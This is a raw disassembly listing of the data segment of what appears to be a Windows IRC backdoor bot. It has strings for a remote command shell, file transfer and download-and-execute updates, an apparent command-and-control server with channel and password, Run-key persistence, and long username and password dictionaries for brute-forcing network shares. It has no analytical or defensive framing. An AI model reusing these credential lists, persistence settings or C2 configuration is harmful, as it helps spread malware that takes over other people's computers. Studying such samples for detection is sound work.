db ' %s. [Uptime]: %s.',0
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40AAB5+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40AAB5:loc_40AC19o
align 4
word_42B78C dw 3Fh ; DATA XREF: sub_40AAB5:loc_40ABB7r
; sub_40C27B+1Fo
align 10h
dword_42B790 dd 28207325h, 297325hdword_42B798 dd 3F3F3Fh ; seg000:loc_414327o
a2003 db '2003',0 ; DATA XREF: sub_40AAB5+BAo
; seg002:0042C434o ...
align 4
aXp db 'XP',0 ; DATA XREF: sub_40AAB5+AAo
; seg000:00414312o ...
align 4
a2k db '2K',0 ; DATA XREF: sub_40AAB5+98o
; seg000:00414302o
align 4
aMe db 'ME',0 ; DATA XREF: sub_40AAB5+7Eo
; seg000:004142E9o
align 10h
a98 db '98',0 ; DATA XREF: sub_40AAB5+6Co
; seg000:004142D9o
align 4
aNt db 'NT',0 ; DATA XREF: sub_40AAB5+5Ao
; seg000:004142C9o
align 4
a95 db '95',0 ; DATA XREF: sub_40AAB5+46o
; seg000:004142BBo
align 4
aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
; DATA XREF: sub_40AD69+ABo
align 4
off_42B7FC dd offset loc_412F4B+3 ; DATA XREF: sub_40AD69:loc_40ADDDo
dword_42B800 dd 4E414Ch dword_42B804 dd 6C616944h, 70752Dhdword_42B80C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_42B81C db 2 ; DATA XREF: sub_40AE2F:loc_40AFE8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToConnec db 'Failed to connect to HTTP server.',0
align 10h
unk_42B860 db 2 ; DATA XREF: sub_40AE2F:loc_40AFE1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCouldNotOpenAC db 'Could not open a connection.',0
align 10h
dword_42B8A0 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
; DATA XREF: sub_40AE2F+1A0o
dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h, 2064696Ch
dd 2E4C5255h, 0
unk_42B8D0 db 2 ; DATA XREF: sub_40AE2F:loc_40AFC2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0
align 10h
dword_42B920 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
; DATA XREF: sub_40AE2F+18Co
dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h, 69736976h
dd 2E646574h, 0
dword_42B950 dd 2A2F2Ah dword_42B954 dd 202E6425h, 3D207325h, 732520hdword_42B960 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40B151+60o
align 4
dword_42B994 dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
; DATA XREF: sub_40B1F1+1Ao
dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_42B9CC dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_40B263+DCo
dd 2029206Ch, 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh
dd 2E657465h, 0
dword_42B9FC dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_40B263+3Fo
dd 2029206Ch, 2BBBB02h, 65422020h, 6E6967h
dword_42BA20 dd 80000002h, 42C228h, 80000002h, 42C258h, 80000001h, 42C290h
; DATA XREF: sub_40B392+7o
dword_42BA38 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40B392+63o
; seg000:0040B6A5o
dd 2029206Ch, 2BBBB02h
aFailedToSendTo db ' Failed to send to Remote command shell.',0
align 10h
dword_42BA80 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040B5E0o
dd 2029206Ch, 2BBBB02h
aFailedToOpenRe db ' Failed to open remote command shell.',0
align 4
dword_42BAC4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040B57Co
; seg000:0040B7F3o
dd 2029206Ch, 2BBBB02h
aFailedToOpenSo db ' Failed to open socket.',0
align 4
dword_42BAFC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040BBEEo
dd 2029206Ch, 2BBBB02h, 6F532020h, 74656B63h, 72726520h
dd 2E726Fh
dword_42BB28 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040B9F0o
dd 2029206Ch, 2BBBB02h
aTransferComple db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42BB7C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040B8F8o
dd 2029206Ch, 2BBBB02h
aUnableToOpenSo db ' Unable to open socket.',0
align 4
dword_42BBB4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040B8C1o
dd 2029206Ch, 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h
dd 2E7475h
dword_42BBE0 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: seg000:0040B860o
dd 169h
dword_42BBF8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040B81Do
dd 2029206Ch, 2BBBB02h
aFileDoesnTExis db ' File doesn',27h,'t exist.',0
align 4
dword_42BC2C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040B778o
dd 2029206Ch, 2BBBB02h
aFailedToBindTo db ' Failed to bind to socket.',0
dword_42BC64 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040B73Ao
dd 2029206Ch, 2BBBB02h
aFailedToCreate db ' Failed to create socket.',0
align 4
dword_42BC9C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040BC67o
dd 2029206Ch, 2BBBB02h
aTransferComp_0 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0
align 4
dword_42BCF4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040BB63o
dd 2029206Ch, 2BBBB02h
aErrorOpeningSo db ' Error opening socket.',0
dword_42BD28 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040BB43o
dd 2029206Ch, 2BBBB02h
aErrorOpeningFi db ' Error opening file for writing.',0
align 4
aAB db 'a+b',0 ; DATA XREF: seg000:0040BB2Fo
dword_42BD6C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040BB1Bo
dd 2029206Ch, 2BBBB02h
aErrorUnableToW db ' Error unable to write file to disk.',0
align 10h
unk_42BDB0 db 2 ; DATA XREF: seg000:0040C166o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0
align 10h
unk_42BDF0 db 2 ; DATA XREF: seg000:0040C158o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateFailedEr db ' Update failed: Error executing file: %s.',0
unk_42BE3C db 2 ; DATA XREF: seg000:0040C09Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
align 10h
dword_42BE90 dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
; DATA XREF: seg000:0040C02Bo
dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h, 656E6570h
dd 25203A64h, 2E73h
aOpen db 'open',0 ; DATA XREF: seg000:0040C009o
; seg000:0040F870o ...
align 4
unk_42BEC8 db 2 ; DATA XREF: seg000:0040BFB4o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0
align 4
unk_42BF14 db 2 ; DATA XREF: seg000:0040BF35o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCrcFailedDD_ db ' CRC Failed (%d != %d).',0
align 10h
unk_42BF50 db 2 ; DATA XREF: seg000:0040BEABo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0
align 4
unk_42BF98 db 2 ; DATA XREF: seg000:0040BE68o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0
align 4
unk_42BFDC db 2 ; DATA XREF: seg000:0040BE56o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileDownloadSD db ' File download: %s (%dKB transferred).',0
align 4
unk_42C028 db 2 ; DATA XREF: seg000:0040BD4Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_40C27B:loc_40C2BEo
; sub_41360D+104o
aInvalid db 'Invalid',0 ; DATA XREF: sub_40C27B:loc_40C2B8o
aDisk db 'Disk',0 ; DATA XREF: sub_40C27B:loc_40C2B2o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_40C27B:loc_40C2ACo
aCdrom db 'Cdrom',0 ; DATA XREF: sub_40C27B:loc_40C2A6o
align 4
aRam db 'RAM',0 ; DATA XREF: sub_40C27B:loc_40C2A0o
aFailed db 'failed',0 ; DATA XREF: sub_40C30C:loc_40C3E4o
; sub_40C427+3Bo
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_40C30C+6Bo
align 10h
dword_42C0A0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40C427+8Eo
dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0
align 10h
dword_42C0F0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40C427+58o
dd 2029206Ch, 2BBBB02h
aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0
align 10h
aA_0 db 'A:\',0 ; DATA XREF: sub_40C4F9:loc_40C53Eo
dd 1A0Ch, 1A0Bh
dword_42C14C dd 1AA6h dword_42C150 dd 0CCEh dword_42C154 dd 158Dh ; seg000:loc_411D96r
dword_42C158 dd 1 dword_42C15C dd 1 dword_42C160 dd 1 byte_42C164 db 78h ; DATA XREF: seg000:loc_40C1D1r
; seg000:0040D92Fr ...
align 4
dword_42C168 dd 9 ; sub_4140AE+51r ...
dword_42C16C dd 1 ; seg000:0040D0B5r ...
aIds443 db 'ids443',0 ; DATA XREF: seg000:0040C6CDo
; seg000:00410B46o ...
align 4
aEnz9_9b34 db 'enz 9.9b34',0 ; DATA XREF: seg000:loc_412845o
align 4
aHi db 'hi',0 ; DATA XREF: seg000:004129C8o
; seg000:00412A97o
align 4
aDd_mybn_us db 'dd.mybn.us',0
align 4
aDd db '#dd',0
aDpass db 'dpass',0
align 10h
aDd_mybn_us_0 db 'dd.mybn.us',0
align 4
aDd_0 db '#dd',0
aDpass_0 db 'dpass',0
align 4
aTilesoft_com db 'Tilesoft.com',0 ; DATA XREF: sub_40283D+84o
; sub_403178+Fo ...
align 4
aTilesoft_dll db 'Tilesoft.dll',0 ; DATA XREF: seg000:00402157o
align 4
aTopicSoft db 'Topic Soft',0 ; DATA XREF: sub_40B392+Eo
align 4
aSf_0 db 'SF-',0 ; DATA XREF: sub_4140AE+12o
aTilesoft_com_0 db 'Tilesoft.com',0
align 4
aXI db '+x+i',0 ; DATA XREF: seg000:00412B10o
align 10h
aSf1 db '#sf1',0 ; DATA XREF: seg000:loc_40FF88o
; seg000:00411B0Ao ...
align 4
aSs db '#ss',0 ; DATA XREF: seg000:0040EBF4o
aSs_0 db '#ss',0 ; DATA XREF: seg000:0040EA3Do
a78001 db '78001',0 ; DATA XREF: sub_40283D+9Ao
align 4
aSf db 'sf',0 ; DATA XREF: sub_40283D+95o
align 4
aSf_ db 'sf.',0 ; DATA XREF: sub_40283D+90o
off_42C220 dd offset a@room ; DATA XREF: seg000:loc_412A24o
; "*@room"
off_42C224 dd offset aMirc1_6_99 ; DATA XREF: seg000:0040D6FFr
; seg000:00412A40o
; "mirc 1.6.99"
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicro_1 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 10h
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: seg000:004146C8o
; sub_4149C4+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: seg000:00414774o
; sub_4149C4+D4o
align 10h
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
dd offset aUser_0 ; "USER"
align 8
off_42C328 dd offset byte_438F9C ; DATA XREF: sub_404F08:loc_404FA1r
; sub_404F08+A6o
dd offset aAdministrato_1 ; "ADMINISTRATOR"
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aFubar ; "fubar"
dd offset aBla ; "bla"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aRoot ; "root"
dd offset aAdmin_0 ; "ADMIN"
dd offset aPassword ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare_0 ; "SHARE"
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_0 ; "USER"
dd offset aBackup ; "BACKUP"
dd offset aSystem_0 ; "SYSTEM"
dd offset aServer_1 ; "SERVER"
dd offset aPepsi ; "pepsi"
dd offset aLocal ; "LOCAL"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aChangeme_0 ; "Changeme"
dd offset aTemp123 ; "temp123"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a654321 ; "654321"
dd offset a54321 ; "54321"
dd offset a111 ; "111"
dd offset a11111111 ; "11111111"
dd offset a88888888 ; "88888888"
dd offset aPass_0 ; "pass"
dd offset aPasswd ; "passwd"
dd offset aDatabase ; "database"
dd offset aAbcd ; "abcd"
dd offset aAbc123 ; "abc123"
dd offset aOracle ; "oracle"
dd offset aSybase ; "sybase"
dd offset a123qwe ; "123qwe"
dd offset aComputer ; "computer"
dd offset aInternet ; "Internet"
dd offset aSuper ; "super"
dd offset a123asd ; "123asd"
dd offset aIhavenopass ; "ihavenopass"
dd offset aGodblessyou ; "godblessyou"
dd offset aEnable ; "enable"
dd offset aXp_0 ; "xp"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2600 ; "2600"
dd offset a110 ; "110"
dd offset a111111 ; "111111"
dd offset a121212 ; "121212"
dd offset a123123 ; "123123"
dd offset a1234qwer ; "1234qwer"
dd offset a123abc ; "123abc"
dd offset a007 ; "007"
dd offset aAlpha ; "alpha"
dd offset aPatrick ; "patrick"
dd offset aPat ; "pat"
dd offset aSex_0 ; "sex"
dd offset aGod ; "god"
dd offset aFoobar ; "foobar"
dd offset aNilez ; "Nilez"
dd offset aDevil ; "devil"
dd offset aNetdevil ; "netdevil"
dd offset aNetDevil ; "net-devil"
dd offset a0wned ; "0wned"
dd offset aOwned ; "owned"
dd offset aIrule ; "irule"
dd offset aNetfuck ; "netfuck"
dd offset aFucked ; "fucked"
dd offset aCrash ; "crash"
dd offset aA_1 ; "a"
dd offset aAaa ; "aaa"
dd offset aAbc ; "abc"
dd offset aTest123 ; "test123"
dd offset aWin ; "win"
dd offset aPc ; "pc"
dd offset aAsdf ; "asdf"
dd offset aSecret ; "secret"
dd offset aQwer ; "qwer"
dd offset aYxcv ; "yxcv"
dd offset aZxcv ; "zxcv"
dd offset aHome ; "home"
dd offset aLogin ; "login"
dd offset aPwd ; "pwd"
dd offset aLove ; "love"
dd offset aMypc ; "mypc"
dd offset aMypc123 ; "mypc123"
dd offset aAdmin123 ; "admin123"
dd offset aPw123 ; "pw123"
dd offset aMypass ; "mypass"
dd offset aMypass123 ; "mypass123"
dd offset aPw ; "pw"
dd offset aMat ; "Mat"
dd offset aMatt ; "Matt"
dd offset aMatthew ; "Matthew"
dd offset aGobo ; "gobo"
dd offset aSatan ; "satan"
dd offset aSatanik ; "satanik"
dd offset aSatanic ; "satanic"
dd offset aSpaceman ; "spaceman"
dd offset aHeaven ; "heaven"
dd offset aW00t ; "w00t"
dd offset a0wn3d ; "0wn3d"
dd offset aKiller ; "killer"
dd offset aLeet ; "leet"
dd offset aL33t ; "l33t"
dd offset aL337 ; "l337"
dd offset aHacker ; "hacker"
dd offset aHax0r ; "hax0r"
dd offset aScript ; "script"
dd offset aScriptkiddie ; "scriptkiddie"
dd offset aKiddie ; "kiddie"
dd offset aMirc_0 ; "mirc"
dd offset aUwontguessme ; "uwontguessme"
dd offset aYouwontguessme ; "youwontguessme"
dd offset aGuessme ; "guessme"
dd offset asc_432C24 ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset dword_4263F0
dd offset a00 ; "00"
dd offset aDeath ; "death"
dd offset aTesting ; "testing"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset aAcademia ; "academia"
dd offset aAcademic ; "academic"
dd offset aAccept ; "accept"
dd offset aAccount ; "account"
dd offset aAction ; "action"
dd offset aAdam ; "adam"
dd offset aAdrian ; "adrian"
dd offset aAdrianna ; "adrianna"
dd offset aAdult ; "adult"
dd offset aAerobics ; "aerobics"
dd offset aAids ; "aids"
dd offset aAirplane ; "airplane"
dd offset aAlaska ; "alaska"
dd offset aAlbany ; "albany"
dd offset aAlbatros ; "albatros"
dd offset aAlbert ; "albert"
dd offset aAlert ; "alert"
dd offset aAlex ; "alex"
dd offset aAlexande ; "alexande"
dd offset aAlgebra ; "algebra"
dd offset aAlias ; "alias"
dd offset aAliases ; "aliases"
dd offset aAlice ; "alice"
dd offset aAlicia ; "alicia"
dd offset aAlisa ; "alisa"
dd offset aAlison ; "alison"
dd offset aAllison ; "allison"
dd offset aAllow ; "allow"
dd offset aAlphabet ; "alphabet"
dd offset aAmadeus ; "amadeus"
dd offset aAmanda ; "amanda"
dd offset aAmber ; "amber"
dd offset aAmerica ; "america"
dd offset aAmorphou ; "amorphou"
dd offset aAnal ; "anal"
dd offset aAnalog ; "analog"
dd offset aAnarchis ; "anarchis"
dd offset aAnarchy ; "anarchy"
dd offset aAnchor ; "anchor"
dd offset aAndrea ; "andrea"
dd offset aAndroid ; "android"
dd offset aAndromac ; "andromac"
dd offset aAndy ; "andy"
dd offset aAnfo ; "anfo"
dd offset aAngela ; "angela"
dd offset aAngerine ; "angerine"
dd offset aAngie ; "angie"
dd offset aAnimal ; "animal"
dd offset aAnimals ; "animals"
dd offset aAnita ; "anita"
dd offset aAnna ; "anna"
dd offset aAnne ; "anne"
dd offset aAnnette ; "annette"
dd offset aAnon ; "anon"
dd offset aAnonymou ; "anonymou"
dd offset aAnswer ; "answer"
dd offset aAnthrax ; "anthrax"
dd offset aAnthropo ; "anthropo"
dd offset aAnvils ; "anvils"
dd offset aAnything ; "anything"
dd offset aApollo13 ; "apollo13"
dd offset aApril ; "april"
dd offset aAria ; "aria"
dd offset aAriadne ; "ariadne"
dd offset aArlene ; "arlene"
dd offset aArmy ; "army"
dd offset aArrow ; "arrow"
dd offset aArthur ; "arthur"
dd offset aArtist ; "artist"
dd offset aAsian ; "asian"
dd offset aAsshole ; "asshole"
dd offset aAthena ; "athena"
dd offset aAtmosphe ; "atmosphe"
dd offset aAtom ; "atom"
dd offset aAttack ; "attack"
dd offset aAuthoriz ; "authoriz"
dd offset aAztecs ; "aztecs"
dd offset aAzure ; "azure"
dd offset aBabe ; "babe"
dd offset aBaby ; "baby"
dd offset aBacchus ; "bacchus"
dd offset aBackdoor ; "backdoor"
dd offset aBadass ; "badass"
dd offset aBailey ; "bailey"
dd offset aBall ; "ball"
dd offset aBanana ; "banana"
dd offset aBananas ; "bananas"
dd offset aBandit ; "bandit"
dd offset aBank ; "bank"
dd offset aBanks ; "banks"
dd offset aBarbara ; "barbara"
dd offset aBarber ; "barber"
dd offset aBare ; "bare"
dd offset aBarf ; "barf"
dd offset aBaritone ; "baritone"
dd offset aBart ; "bart"
dd offset aBartman ; "bartman"
dd offset aBaseball ; "baseball"
dd offset aBasic ; "basic"
dd offset aBass ; "bass"
dd offset aBassoon ; "bassoon"
dd offset aBatch ; "batch"
dd offset aBatman ; "batman"
dd offset aBeach ; "beach"
dd offset aBeammeup ; "beammeup"
dd offset aBear ; "bear"
dd offset aBeast ; "beast"
dd offset aBeater ; "beater"
dd offset aBeauty ; "beauty"
dd offset aBeaver ; "beaver"
dd offset aBecky ; "becky"
dd offset aBeethove ; "beethove"
dd offset aBegin ; "begin"
dd offset aBehead ; "behead"
dd offset aBell ; "bell"
dd offset aBeloved ; "beloved"
dd offset aBenz ; "benz"
dd offset aBeowulf ; "beowulf"
dd offset aBerkeley ; "berkeley"
dd offset aBerlin ; "berlin"
dd offset aBerliner ; "berliner"
dd offset aBeryl ; "beryl"
dd offset aBeta ; "beta"
dd offset aBeth ; "beth"
dd offset aBetsie ; "betsie"
dd offset aBetty ; "betty"
dd offset aBeverly ; "beverly"
dd offset aBible ; "bible"
dd offset aBicamera ; "bicamera"
dd offset aBigfoot ; "bigfoot"
dd offset aBill ; "bill"
dd offset aBinary ; "binary"
dd offset aBios ; "bios"
dd offset aBird ; "bird"
dd offset aBishop ; "bishop"
dd offset aBitch ; "bitch"
dd offset aBitmap ; "bitmap"
dd offset aBitnet ; "bitnet"
dd offset aBlack ; "black"
dd offset aBlonde ; "blonde"
dd offset aBlondie ; "blondie"
dd offset aBlood ; "blood"
dd offset aBloodaxe ; "bloodaxe"
dd offset aBlow ; "blow"
dd offset aBlowjob ; "blowjob"
dd offset aBlue ; "blue"
dd offset aBlues ; "blues"
dd offset aBoard ; "board"
dd offset aBomb ; "bomb"
dd offset aBoner ; "boner"
dd offset aBoob ; "boob"
dd offset aBoobs ; "boobs"
dd offset aBook ; "book"
dd offset aBorn ; "born"
dd offset aBoyscout ; "boyscout"
dd offset aBradley ; "bradley"
dd offset aBrandi ; "brandi"
dd offset aBrandy ; "brandy"
dd offset aBravo ; "bravo"
dd offset aBreak ; "break"
dd offset aBreast ; "breast"
dd offset aBrenda ; "brenda"
dd offset aBrian ; "brian"
dd offset aBridget ; "bridget"
dd offset aBroadway ; "broadway"
dd offset aBrothel ; "brothel"
dd offset aBrunette ; "brunette"
dd offset aBrute ; "brute"
dd offset aBrutefor ; "brutefor"
dd offset aBulls ; "bulls"
dd offset aBullshit ; "bullshit"
dd offset aBumbling ; "bumbling"
dd offset aBung ; "bung"
dd offset aBurgess ; "burgess"
dd offset aBurn ; "burn"
dd offset aButch ; "butch"
dd offset aButt ; "butt"
dd offset aButthead ; "butthead"
dd offset aCaliforn ; "californ"
dd offset aCamille ; "camille"
dd offset aCampanil ; "campanil"
dd offset aCamping ; "camping"
dd offset aCandi ; "candi"
dd offset aCandy ; "candy"
dd offset aCantor ; "cantor"
dd offset aCaptain ; "captain"
dd offset aCapture ; "capture"
dd offset aCard ; "card"
dd offset aCardinal ; "cardinal"
dd offset aCaren ; "caren"
dd offset aCarla ; "carla"
dd offset aCarmen ; "carmen"
dd offset aCarol ; "carol"
dd offset aCarole ; "carole"
dd offset aCarolina ; "carolina"
dd offset aCaroline ; "caroline"
dd offset aCarrie ; "carrie"
dd offset aCarson ; "carson"
dd offset aCascades ; "cascades"
dd offset aCash ; "cash"
dd offset aCastle ; "castle"
dd offset aCatherin ; "catherin"
dd offset aCatholic ; "catholic"
dd offset aCathy ; "cathy"
dd offset aCave ; "cave"
dd offset aCayuga ; "cayuga"
dd offset aCecily ; "cecily"
dd offset aCelt ; "celt"
dd offset aCeltic ; "celtic"
dd offset aCeltics ; "celtics"
dd offset aCerulean ; "cerulean"
dd offset aChange ; "change"
dd offset aCharity ; "charity"
dd offset aCharles ; "charles"
dd offset aCharlie ; "charlie"
dd offset aCharming ; "charming"
dd offset aCharon ; "charon"
dd offset aChat_0 ; "chat"
dd offset aChem ; "chem"
